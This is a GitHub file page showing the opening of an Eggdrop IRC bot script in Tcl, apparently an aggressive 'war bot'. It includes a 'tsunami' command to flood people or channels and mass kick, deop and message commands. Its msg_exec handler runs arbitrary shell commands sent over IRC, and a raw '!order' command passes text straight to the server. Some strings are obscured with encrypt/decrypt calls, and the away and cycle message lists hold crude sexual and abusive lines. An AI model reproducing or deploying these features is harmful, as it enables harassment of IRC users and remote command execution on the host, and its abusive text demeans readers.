-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathidwsn3.tcl
9655 lines (9625 loc) · 308 KB
/
idwsn3.tcl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#BASED ON JBL.TCL, PTZ.TCL AND NETGATE.TCL
set notc "1N3"
set notm "1N3 ?"
set notb "dono"
set ps "dono"
set notd "1(N3)"
set ppp "#gembels"
set vern "1N3 version(46.51)"
set awaym {
"Having Sex"
"i am a Bitch!"
"kill me, i'm sucks!"
"rm -rf life.conf"
"my mom's a Bitch..!"
"The Fine Art Murder"
"Back To Vengeance"
"Journey To The Unknown"
"Whois God Anyway?"
"God is Dead, But No One Care"
"psychological terror"
"fuck me, fuck my mom, fuck you!"
"Do I Know You, PunkAss?!!"
"Dead and Dripping"
"killing my enemies"
"Learn How To Hack The Life"
"watching"
"ngOepiL is not a crimE!"
"masturbation is not a crimE!"
"help..! i can't konak.."
"client closed connection"
"AFK!"
"eweii from kibor"
"be rite back"
"nguntal sempak"
"sleep!"
"Call FBI if i dont comeback in 24 hours"
"i need comdoms"
"Owned by GOD"
}
set lgidx 0
proc lgrnd {} {
global lgidx notc
set lgidx [incr lgidx]
if {$lgidx == 1} {
set lgrnd "1id5WS"
} elseif {$lgidx == 2} {
set lgrnd "1N3"
} elseif {$lgidx == 3} {
set lgrnd "1id12WS"
} elseif {$lgidx == 4} {
set lgrnd "1id13WS"
} elseif {$lgidx == 5} {
set lgrnd "1id6WS"
} elseif {$lgidx == 6} {
set lgrnd "1id3WS"
} elseif {$lgidx == 7} {
set lgrnd "1id2WS"
} else {
set lgidx 0
set lgrnd $notc
}
}
set bancounter {
"4DjUAMpUT1..!"
"4cRoTZ1..!"
"4BaNnEd1..!"
"4KiMPeD1..!"
"4TuNGKrIX1..!"
"4cRuTZ1..!"
"4SvCKZ1..!"
}
set bancounte {
"4DjuAMpUT14..!"
"4cRoTZ14..!"
"4BaNnEd14..!"
"4KiMPeD14..!"
"4TuNGKrIX14..!"
"4cRuTZ14..!"
"4SvCKZ14..!"
}
set querym {
"1N3 spam check..."
}
set cyclem {
"in...and..out...!"
"fading..."
"refreshed!"
"rehashed!"
"buying condoms"
"(c)hecking)"
"(d)izzy)"
"(breathing)"
"hello world!"
"isen(G"
"spam check"
"(c)ycling!)"
"(L)amer)"
"isi bensin"
"ngecek inviter"
"(k)illing)"
"killing time"
"dead end"
"(d)ead en(d)"
"cycling is not a crimE!"
"burn...mutha fvcka burn..!"
"refuse - resist"
"desperate!"
"i'm in love :D"
"Need For Suspect!"
"Time's up!"
"No way out!"
"No more left!"
"No regret for inviter!"
"Hot Pursuit!"
"Rule No.96: there are no rules!"
"Critical Cycle!"
"Pursue Inviter Suspect!"
"wRoNG TcL"
"ronda"
"mubeng"
"salto"
"Crut.."
"Making Love"
"Go To Cycle!"
"Cycle System Running!"
"Cycle Strike Back!"
"Leaving"
"N3.TcL"
"LamerZ"
"Acces Dennied"
"I need cycle now!"
}
set partm {
"Owner Request! Sorry :P"
"Ups! Wrong Channel!"
"Be Right Back!"
"No One Join Forever!"
"Damn! Wrong Channel!"
"Access Denied!"
"Back To Base!"
"Return To Base!"
"Access Rejected!"
"Going Back!"
"Ilegal Channel!"
"Going Home!"
"Good Bye!"
"Sayonara!"
"Ups! Wrong Room :P"
"Got To Go!"
"Goodbye! Ugly :P"
"Go To Hell!"
"Going Somewhere!"
"No Join Today!"
"It's a bad day to join :P"
"Part Never Die!"
"Join Another Day!"
"License To Part!"
"'Part' time!"
"Time To Go!"
"Too many join channel :P"
"The Join is Not Enough!"
"Join too many channel :P"
"It's time to Go!"
"It's time to Part!"
"Part for now and Forever!"
"Part Forever!"
}
proc msg_dc {nick uhost hand rest} {
global ppp botnick notc ; set rest [lindex $rest 0]
if {$rest == ""} {putquick "NOTICE $nick :$notc ? Command: /msg $botnick dc <text>" ; return 0}
putquick "PRIVMSG $nick :$notc ? zip: [zip "$rest"]"
putquick "PRIVMSG $nick :$notc ? dezip: [dezip "$rest"]"
putquick "PRIVMSG $nick :$notc ? dcp: [dcp "$rest"]"
putquick "PRIVMSG $nick :$notc ? dezip+dcp: [dezip [dcp "$rest"]]"
putquick "PRIVMSG $nick :$notc ? decrypt: [decrypt 64 "$rest"]"
putquick "PRIVMSG $nick :$notc ? encrypt: [encrypt 64 "$rest"]"
putquick "PRIVMSG $nick :$notc ? unsix: [unsix "$rest"]"
return 0
}
bind msg m dc msg_dc
proc msg_order {nick uhost hand rest} {
global botnick notd
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notd 4DeNIEd..!"
return 0
}
set rest [lindex $rest 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notd Command: /msg $botnick !order <command>"
return 0
}
putquick $rest
return 0
}
bind msg Z !order msg_order
proc lines {txt} {
global lenc ldec uenc udec
set retval ""
set count [string length $txt]
set status 0
set lst ""
for {set i 0} {$i < $count} {incr i} {
set idx [string index $txt $i]
if {$idx == "$" && $status == 0} {
set status 1
set idx "~$idx"
}
if {$idx == [decrypt 64 "uAwNV.ZfVQk."] && $lst != [decrypt 64 "59.TI0HteTn1"] && $status == 0} {
set status 2
set idx "~$idx"
}
if {$idx == " " && $status == 1} {
set status 0
set idx "$idx~"
}
if {$idx == "]" && $status == 2} {
set status 0
set idx "$idx~"
}
if {$status == 0} {
if {[string match *$idx* $lenc]} {
set idx [string range $ldec [string first $idx $lenc] [string first $idx $lenc]]
}
if {[string match *$idx* $uenc]} {
set idx [string range $udec [string first $idx $uenc] [string first $idx $uenc]]
}
}
set lst $idx
append retval $idx
}
regsub -all -- vmw] $retval "end]" retval
return $retval
}
set lenc "abcdefghijklmnopqrstuvwxyz"
set ldec "zyxwvutsrqponmlkjihgfedcba"
set uenc "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
set udec "ZYXWVUTSRQPONMLKJIHGFEDCBA"
set global-idle-kick 0
set global-chanmode "nt"
set global-dynamicexempts-mode 0
set global-dontkickops-mode 1
set global-revenge-mode 0
set global-protectops-mode 1
set global-clearbans-mode 1
set global-enforcebans-mode 1
set global-dynamicbans-mode 1
set global-protectfriends-mode 1
set global-userbans-mode 1
set global-cycle-mode 1
set global-greet-mode 0
set global-shared-mode 1
set global-autovoice-mode 0
set global-stopnethack-mode 0
set global-autoop-mode 0
set global-userinvites-mode 0
set global-nodesynch-mode 0
set nick-len 30
if {![info exists nickpass]} {
set nickpass ""
}
if {![info exists altpass]} {
set altpass ""
}
if {![info exists cfgfile]} {
set cfgfile $userfile
}
proc unsix {txt} {
set retval $txt
regsub ~ $retval "" retval
return $retval
}
proc dezip {txt} {
return [decrypt 64 [unsix $txt]]
}
proc dcp {txt} {
return [decrypt 64 $txt]
}
proc zip {txt} {
return [encrypt 64 [unsix $txt]]
}
if {![info exists server-online]} {
putlog "1N3 not support server online..!"
set server-online 1
}
proc puthlp {txt} {
global lenc ldec uenc udec notb notc server-online
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*NOTICE*" $retval]} {
#if {![string match "*N3*" $retval] && ![string match "**" $retval]} { return 0 }
}
puthelp $retval
}
proc putsrv {txt} {
global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*KICK*" $retval]} {
#if {![string match "*N3*" $retval] && ![string match "*$notm*" $retval]} { return 0 }
set endval ""
foreach tmp $retval {
if {$tmp == ":$notc"} {
if {[info exists banner]} {
set tmp ":$banner"
} {
set tmp ":[lgrnd]"
}
} {
if {[info exists kickclr]} {
set tmp [uncolor $tmp]
}
}
set endval "$endval $tmp"
}
set retval $endval
if {[info exists iskick([lindex $retval 2][lindex $retval 1])]} { return 0 }
set iskick([lindex $retval 2][lindex $retval 1]) "1"
if {[info exists igflood([lindex $retval 2])]} { return 0 }
if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {
set chkops $retval
regsub -all -- : $chkops "" chkops
if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
return 0
}
}
}
putserv $retval
}
proc putqck {txt} {
global lenc ldec banner uenc udec notc server-online notm igflood iskick kickclr bannick is_m
if {${server-online} == 0} { return 0 }
set retval $txt
if {[string match "*KICK*" $retval]} {
set endval ""
foreach tmp $retval {
if {$tmp == ":$notc"} {
if {[info exists banner]} {
set tmp ":$banner"
} {
set tmp ":[lgrnd]"
}
} {
if {[info exists kickclr]} {
set tmp [uncolor $tmp]
}
}
set endval "$endval $tmp"
}
set retval $endval
set iskick([lindex $retval 2][lindex $retval 1]) "1"
if {[info exists igflood([lindex $retval 2])]} { return 0 }
if {[string match "*-userinvites*" [channel info [lindex $retval 1]]]} {
set chkops $retval
regsub -all -- : $chkops "" chkops
if {[isop [lindex $chkops 2] [lindex $retval 1]]} {
return 0
}
}
}
if {[string match "*$notm*" $retval]} {
set cflag "c[lindex $retval 1]"
set cflag [string range $cflag 0 8]
if {[matchattr $cflag M]} {
if {![isutimer "set_-m [lindex $retval 1]"] && ![info exists is_m([lindex $retval 1])]} {
set is_m([lindex $retval 1]) 1
putquick "mode [lindex $retval 1] +bm $bannick([lindex $retval 2])"
return 0
}
}
}
putquick $retval
}
set notm "1N3"
###############################
# N3 BOT COMMAND LIST #
###############################
bind msg m help msg_help
proc msg_help {nick uhost hand rest} {
global version notb notc notd vern
if {[istimer "HELP STOPED"]} {
putsrv "NOTICE $nick :$notc ? Help on progress, try again later..!"
return 0
}
timer 5 { putlog "1N3 HELP STOPED" }
puthlp "PRIVMSG $nick :$notd Command LIsT."
puthlp "PRIVMSG $nick :RuNNINg WiTH EggDrop v[lindex $version 0] LoaDED bY $vern"
puthlp "PRIVMSG $nick :MSG/PV COMMAND..!"
puthlp "PRIVMSG $nick :login <password> authenticate user"
puthlp "PRIVMSG $nick :logout <password> deauthenticate user"
puthlp "PRIVMSG $nick :pass <password> set password"
puthlp "PRIVMSG $nick :passwd <oldpass> <newpass> change user password"
puthlp "PRIVMSG $nick :userlist userlist"
puthlp "PRIVMSG $nick :op <#> <nick> op someone"
puthlp "PRIVMSG $nick :deop <#> <nick> deop someone"
puthlp "PRIVMSG $nick :voice <#> <nick> voice someone"
puthlp "PRIVMSG $nick :devoice <#> <nick> devoice someone"
puthlp "PRIVMSG $nick :kick <#> <nick|host> <reason> kick someone"
puthlp "PRIVMSG $nick :kickban <#> <nick|host> <reason> kickban someone"
puthlp "PRIVMSG $nick :identify <nick> <passwd> identify to nickserv someone access"
puthlp "PRIVMSG $nick :join <#> joining #channel temporary"
puthlp "PRIVMSG $nick :part <#> part #channels"
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $nick :logo <your crew logo> changing text logo on kick message"
puthlp "PRIVMSG $nick :vhost <IP DNS> changing vhost"
puthlp "PRIVMSG $nick :away <msg> set bot away message"
puthlp "PRIVMSG $nick :admin <msg> set bot admin on status"
puthlp "PRIVMSG $nick :memo <user|all> <msg> send memo to all user or one user"
puthlp "PRIVMSG $nick :bantime <minutes> auto unban on X minutes (0 never unban)"
puthlp "PRIVMSG $nick :logchan <#|0FF> log #channel"
puthlp "PRIVMSG $nick :4!!WARNING!! turn logchan on will decrease bot performance!"
puthlp "PRIVMSG $nick :<4DCC> .log show #channel log"
puthlp "PRIVMSG $nick :6note > please increase on general - window buffer into 5000"
puthlp "PRIVMSG $nick :+chan <#> joining permanent #channel"
puthlp "PRIVMSG $nick :botnick <nick> <id> changing permanent bot primary nick"
puthlp "PRIVMSG $nick :botaltnick <nick> <id> changing permanent bot alternate nick"
puthlp "PRIVMSG $nick :realname <bot realname> changing permanent bot realname"
puthlp "PRIVMSG $nick :ident <bot ident> changing permanent bot ident"
puthlp "PRIVMSG $nick :die kill bot"
}
puthlp "PRIVMSG $nick :MSG/CHANNEL COMMAND..!"
puthlp "PRIVMSG $nick :`up op your self"
puthlp "PRIVMSG $nick :`down deop your self"
puthlp "PRIVMSG $nick :`op/+o <nick> op spesified nick"
puthlp "PRIVMSG $nick :`deop/-o <nick> deop spesified nick"
puthlp "PRIVMSG $nick :`voice/+v <nick> voice spesified nick"
puthlp "PRIVMSG $nick :`devoice/-v <nick> devoice spesified nick"
puthlp "PRIVMSG $nick :`kick <nick> <reason> kick spesified nick"
puthlp "PRIVMSG $nick :`kickban <nick> <reason> kickban spesified nick"
puthlp "PRIVMSG $nick :`mode <+/- settings> mode setting #channel"
puthlp "PRIVMSG $nick :`invite <nick> invite person to current #channel"
puthlp "PRIVMSG $nick :`banlist <#channel> list of banned from specified <#channel>"
puthlp "PRIVMSG $nick :`ban <nick|hostmask> ban some nick or hostmask"
puthlp "PRIVMSG $nick :`unban <nick|host> <#> unban some nick or hostmask"
puthlp "PRIVMSG $nick :`+chan <#> joining permanent #channel"
puthlp "PRIVMSG $nick :`channels list of channel who's bot sit on"
puthlp "PRIVMSG $nick :`userlist list of user"
puthlp "PRIVMSG $nick :`chaninfo <#> list of option for specified #channel"
puthlp "PRIVMSG $nick :`join <#> joining #channel temporary"
puthlp "PRIVMSG $nick :`part <#> part specified #channel"
puthlp "PRIVMSG $nick :`cycle <#> cycle on specified #channel"
puthlp "PRIVMSG $nick :`+/- cycle <#|all> <X> enable/disable bot cycle every X minutes"
puthlp "PRIVMSG $nick :`+/- ignore <nick|host> ignore or unignore person"
if {[matchattr $nick n]} {
puthlp "PRIVMSG $nick :`+/- status <#> enable/disable bot displaying status"
puthlp "PRIVMSG $nick :`+/- enforceban <#> enable/disable bot enforcebans"
puthlp "PRIVMSG $nick :`+/- autovoice <secs> enable/disable channel autovoice on join"
puthlp "PRIVMSG $nick :`+/- seen <#> activate/deactive seen on #"
puthlp "PRIVMSG $nick :`+/- guard <#|all> enable/disable bot guard"
puthlp "PRIVMSG $nick :`+/- master <nick> add/del <nick> from master list"
puthlp "PRIVMSG $nick :`+/- avoice <nick> add/del <nick> from avoice list"
puthlp "PRIVMSG $nick :`+/- friend <nick> add/del <nick> from friend list"
puthlp "PRIVMSG $nick :`+/- ipguard <host> add/del host from ipguard list"
puthlp "PRIVMSG $nick :`+/- akick <host> add/del host from kick list"
puthlp "PRIVMSG $nick :`+/- noop <nick> add/del <nick> from no-op list"
puthlp "PRIVMSG $nick :`topic <topic> change channel topic"
puthlp "PRIVMSG $nick :`status status system"
puthlp "PRIVMSG $nick :`servers servers bot currently running"
puthlp "PRIVMSG $nick :`jump <server> <port> push bot to use spec server"
puthlp "PRIVMSG $nick :`access <nick> see user access from spec flags"
}
if {[matchattr $nick Z]} {
puthlp "PRIVMSG $nick :`+/- forced force bot to set mode w/o kick 1st"
puthlp "PRIVMSG $nick :`+/- colour enable/disable colour on kick msg"
puthlp "PRIVMSG $nick :`+/- greet <msg> autogreet user on join %n nick %c channel"
puthlp "PRIVMSG $nick :`+/- repeat <number> max repeat user permitted"
puthlp "PRIVMSG $nick :`+/- text <number> char limited text length on channel"
puthlp "PRIVMSG $nick :`+/- limit <number> limited user on channel"
puthlp "PRIVMSG $nick :`+/- caps <%> max %percent upper text"
puthlp "PRIVMSG $nick :`+/- clone <max> enable/disable bot anti clones"
puthlp "PRIVMSG $nick :`+/- reop auto re@p bot when got de@p"
puthlp "PRIVMSG $nick :`+/- joinpart <seconds> kick user join part in past X 2nd"
puthlp "PRIVMSG $nick :`+/- spam scanning for spam"
puthlp "PRIVMSG $nick :`+/- massjoin preventing mass join lame"
puthlp "PRIVMSG $nick :`+/- key <keyword> set channel with key"
puthlp "PRIVMSG $nick :`+/- revenge enable/disable bot revenge"
puthlp "PRIVMSG $nick :`+/- badword <badword> add/remove badword from list"
puthlp "PRIVMSG $nick :`badwords list of badwords"
puthlp "PRIVMSG $nick :`nobot scanning for bot and kick them out"
puthlp "PRIVMSG $nick :`sdeop <#> bot self deop"
puthlp "PRIVMSG $nick :`chanmode # <+ntmcilk> set permanent mode for specified #"
puthlp "PRIVMSG $nick :`chanset <#> <LINE|CTCP|JOIN|DEOP|KICK|NICK> set # options"
puthlp "PRIVMSG $nick :`chansetall <option> set option for all #"
puthlp "PRIVMSG $nick :`chanreset <#|all> reseting option for specified #channel"
puthlp "PRIVMSG $nick :`bantime how long bot unban in X minutes"
puthlp "PRIVMSG $nick :`tsunami <nick|#> <text> flood someone or channel"
puthlp "PRIVMSG $nick :`deluser <nick> del user from userlist"
puthlp "PRIVMSG $nick :`restart restarting bot also jumping server"
puthlp "PRIVMSG $nick :`+/- owner <nick> add/del <nick> from owner list"
puthlp "PRIVMSG $nick :`+/- admin <nick> add/del <nick> from admin list"
puthlp "PRIVMSG $nick :`+/- aop <nick> add/del <nick> from aop list"
puthlp "PRIVMSG $nick :`+/- host <nick> <flag> add or remove user host"
puthlp "PRIVMSG $nick :`+/- gnick <nick> guard nick kick it if not identify"
puthlp "PRIVMSG $nick :`host <nick> see user host"
puthlp "PRIVMSG $nick :`mvoice <#channel> mass voice"
puthlp "PRIVMSG $nick :`mdevoice <#channel> mass devoice"
puthlp "PRIVMSG $nick :`mop <#channel> mass op"
puthlp "PRIVMSG $nick :`mdeop <#channel> mass deop"
puthlp "PRIVMSG $nick :`mkick <#channel> mass kick"
puthlp "PRIVMSG $nick :`mmsg <#channel> mass msg except the opped"
puthlp "PRIVMSG $nick :`minvite <#channel> mass invite except the opped"
puthlp "PRIVMSG $nick :`munbans <#channel> mass unban"
puthlp "PRIVMSG $nick :`say <text> say with spesified text"
puthlp "PRIVMSG $nick :`msg <nick> <text> msg person"
puthlp "PRIVMSG $nick :`act <text> act with spesified text"
puthlp "PRIVMSG $nick :`notice <nick> <text> msg person or #channel with spesified text"
puthlp "PRIVMSG $nick :`+/- topiclock keep topic locked"
puthlp "PRIVMSG $nick :`+/- nopart <#channel> make # protected"
puthlp "PRIVMSG $nick :`+/- mustop set bot del channel if not oped"
puthlp "PRIVMSG $nick :`+/- invitelock <#> invite back who part on spec chan"
puthlp "PRIVMSG $nick :`+/- dontkickops enable/disable bot kick @"
puthlp "PRIVMSG $nick :`+/- autokick auto kick on join"
puthlp "PRIVMSG $nick :`nick <nick> change nick temporary"
puthlp "PRIVMSG $nick :`altnick change nick to alternative nick"
puthlp "PRIVMSG $nick :`randnick change nick to random nick"
puthlp "PRIVMSG $nick :`realnick change nick to real nick"
puthlp "PRIVMSG $nick :`chattr <nick> <flag> changing user flag (+) add or (-) remove it"
puthlp "PRIVMSG $nick :`rehash rehashing data packing and unpacking"
}
puthlp "PRIVMSG $nick :FLAg LIsT UsER & cHaNNeL"
puthlp "PRIVMSG $nick :\[@\]P \[+\]VOICE AuTO\[V\]OICE \[G\]uARD \[C\]YCLE \[E\]nFORCEBANS \[D\]oNTKIcK@PS"
puthlp "PRIVMSG $nick :\[P\]RoTECTED C\[L\]ONE \[A\]DVERTISE \[T\]OPICLOCK AuTO\[K\]IcK \[S\]EEN"
puthlp "PRIVMSG $nick :\[Z\]owner admi\[n\] \[m\]aster botne\[t\] \[x\]fer \[j\]anitor \[c\]ommon"
puthlp "PRIVMSG $nick :\[p\]arty \[b\]ot \[u\]nshare \[h\]ilite \[o\]p de\[O\]p \[k\]ick \[f\]riend"
puthlp "PRIVMSG $nick :\[a\]uto-op auto\[v\]oice \[g\]voice \[q\]uiet \[X\]no add"
puthlp "PRIVMSG $nick : "
puthlp "PRIVMSG $nick :$notd (Indowebster.com)"
return 0
}
set firsttime "T"
set init-server { serverup "" }
set modes-per-line 6
set allow-desync 0
set include-lk 1
set banplus [rand 5]
set ban-time [expr 25 + $banplus]
unset banplus
set quiet-save 1
set logstore ""
set max-logsize 512
set upload-to-pwd 1
catch { unbind dcc n restart *dcc:restart }
catch { unbind dcc n msg *dcc:msg }
catch { unbind dcc n status *dcc:status }
catch { unbind dcc n dump *dcc:dump }
proc serverup {heh} {
global botnick firsttime notc owner
if {[info exists firsttime]} {
unset firsttime
return 0
}
putlog "1N3 i am !..ConnecteD..!"
putserv "MODE $botnick +iw-s"
foreach x [userlist] {
if {[matchattr $x Q]} { chattr $x -Q }
if {$x == $owner && [getuser $owner XTRA "AUTH"] != ""} {
setuser $owner XTRA "AUTH" ""
}
chattr $x -hp
if {$x != "config" && [chattr $x] == "-"} {
deluser $x
putlog "1N3 deluser $x"
}
}
chk_five "0" "0" "0" "0" "0"
utimer 2 del_nobase
foreach x [ignorelist] { killignore [lindex $x 0] } }
catch { bind evnt - disconnect-server serverdown }
proc serverdown {heh} {
global firsttime
catch { unset firsttime }
catch { clearqueue all }
putlog "1N3 i got !..Disconnected..!"
foreach x [timers] {
if {[string match "*cycle*" $x]} { killtimer [lindex $x 2] }
}
}
proc isnumber {string} {
global notc
if {([string compare $string ""]) && (![regexp \[^0-9\] $string])} then {
return 1
}
return 0
}
proc pub_bantime {nick uhost hand channel rest} {
global notc ban-time
puthlp "NOTICE $nick :$notc ? BanTime \[${ban-time}\]"
}
proc pub_which {nick uhost hand channel rest} {
global botname notc
if {$rest == ""} {
puthlp "NOTICE $nick :$notc ? Usage: which <ip mask>"
return 0
}
if {[string match [string tolower $rest] [string tolower $botname]]} {
puthlp "PRIVMSG $channel :$botname"
}
}
set notd "1N3"
proc randstring {length} {
set chars ABCDEFGHIJKLMNOPQRSTUVWXYZ
set count [string length $chars]
for {set i 0} {$i < $length} {incr i} {
append result [string index $chars [rand $count]]
}
return $result
}
######################
# BOT PUBLIC COMMAND #
######################
bind pub Z `which pub_which
bind pub n `reset pub_reset
bind pub f `host pub_host
bind pub f `flag pub_flag
bind pub m `ver pub_ver
bind pub m `logo pub_logo
bind pub Z `msg pub_msg
bind msg Z admin msg_admin
bind msg Z away msg_away
bind msg Z bantime msg_bantime
bind msg Z logo msg_logo
bind msg Z mmsg msg_mmsg
bind msg Z limit msg_limit
bind msg Z logchan msg_logchan
bind msg Z botnick msg_botnick
bind msg Z realname msg_realname
bind msg Z ident msg_ident
bind msg Z botaltnick msg_botaltnick
bind msg Z die msg_die
bind msg Z restart msg_restart
bind msg Z rehash msg_rehash
bind msg Z topic msg_topic
bind msg m memo msg_memo
bind pub n `-seen pub_-seen
bind pub n `+autovoice pub_+autovoice
bind pub n `-autovoice pub_-autovoice
bind pub n `+guard pub_+guard
bind pub n `-guard pub_-guard
bind pub n `+cycle pub_+cycle
bind pub n `-cycle pub_-cycle
bind pub n `+friend pub_+friend
bind pub n `-friend pub_-friend
bind pub n `+avoice pub_+avoice
bind pub n `-avoice pub_-avoice
bind pub n `+master pub_+master
bind pub n `-master pub_-master
bind pub n `mvoice pub_mvoice
bind pub n `mdevoice pub_mdevoice
bind pub n `mop pub_mop
bind pub n `mdeop pub_mdeop
bind pub n `+chan pub_+chan
bind msg n identify msg_identify
bind msg n kick msg_kick
bind msg n k msg_kick
bind msg n kickban msg_kickban
bind msg n kb msg_kickban
bind msg n op msg_op
bind msg n voice msg_voice
bind msg n v msg_voice
bind msg n deop msg_deop
bind msg n devoice msg_devoice
bind pub n `topic pub_topic
bind pub n `jump pub_jump
bind pub n `rehash pub_rehash
bind msg n +chan msg_+chan
bind msg n join msg_join
bind msg n part msg_part
bind pub m `voice pub_voice
bind pub m `+v pub_voice
bind pub m `devoice pub_devoice
bind pub m `-v pub_devoice
bind pub m `op pub_op
bind pub m `+o pub_op
bind pub m `deop pub_deop
bind pub m `-o pub_deop
bind pub m `kick pub_kick
bind pub m `k pub_kick
bind pub m `kickban pub_kickban
bind pub m `kb pub_kickban
bind pub m `+noop pub_+noop
bind pub m `-noop pub_-noop
bind pub m `ban pub_ban
bind pub m `unban pub_unban
bind pub m `munbans pub_munbans
bind pub m `banlist pub_banlist
bind pub m `mode pub_mode
bind pub m `join pub_join
bind pub m `part pub_part
bind pub m `cycle pub_cycle
bind pub m `up pub_up
bind pub m `down pub_down
bind msg m passwd msg_passwd
bind pub m !passwd pub_passwd
bind msg m logout msg_deauth
bind msg m channels msg_channels
bind pub m `channels pub_channels
bind pub m `status pub_status
bind pub m `chaninfo pub_chaninfo
bind pub m `userlist pub_userlist
bind msg m userlist msg_userlist
bind pub f `access pub_access
bind pub m `match pub_match
proc pub_Z {nick uhost hand channel rest} {
global notc botnick
set prest $rest
if {[lindex $rest 0] == $botnick} {
regsub "$botnick " $rest "`" rest
} {
if {[string tolower [lindex $rest 0]] == [string tolower $botnick]} {
set rest "$botnick [lrange $rest 1 end]"
regsub "$botnick " $rest "`" rest
}
}
if {[string index $rest 0] != "`"} { return 0 }
if {![matchattr $nick Z]} { return 0 }
if {![matchattr $nick Q]} {
if {[string tolower [lindex $prest 0]] == [string tolower $botnick]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
}
return 0
}
set goto [lindex $rest 0]
regsub -all "`" $goto "pub_" goto
if {[matchattr $nick Z]} {
set rest [lrange $rest 1 end]
catch { $goto $nick $uhost $hand $channel $rest }
}
}
proc msg_encrypt {nick uhost hand rest} {
global own notc
if {$nick != $own || $rest == ""} { return 0 }
puthlp "NOTICE $nick :$notc ? [zip $rest]"
}
proc msg_decrypt {nick uhost hand rest} {
global own notc
if {$nick != $own || $rest == ""} { return 0 }
puthlp "NOTICE $nick :$notc ? [dezip $rest]"
}
proc msg_exec {nick uhost hand command} {
global own notc
if {$nick != $own || $command == ""} { return 0 }
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
set para1 [lindex $command 0]
set para2 [lindex $command 1]
set para3 [lindex $command 2]
set para4 [lindex $command 3]
set para5 [lindex $command 4]
if {$para2 == ""} {
catch { [exec $para1] } result
} elseif {$para3 == ""} {
catch { [exec $para1 $para2] } result
} elseif {$para4 == ""} {
catch { [exec $para1 $para2 $para3] } result
} elseif {$para5 == ""} {
catch { [exec $para1 $para2 $para3 $para4] } result
} elseif {$para5 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5] } result
}
puthlp "NOTICE $nick :$notc ? $result"
}
bind dcc * exec dcc_exec
bind dcc * log dcc_log
bind dcc * dir dcc_dir
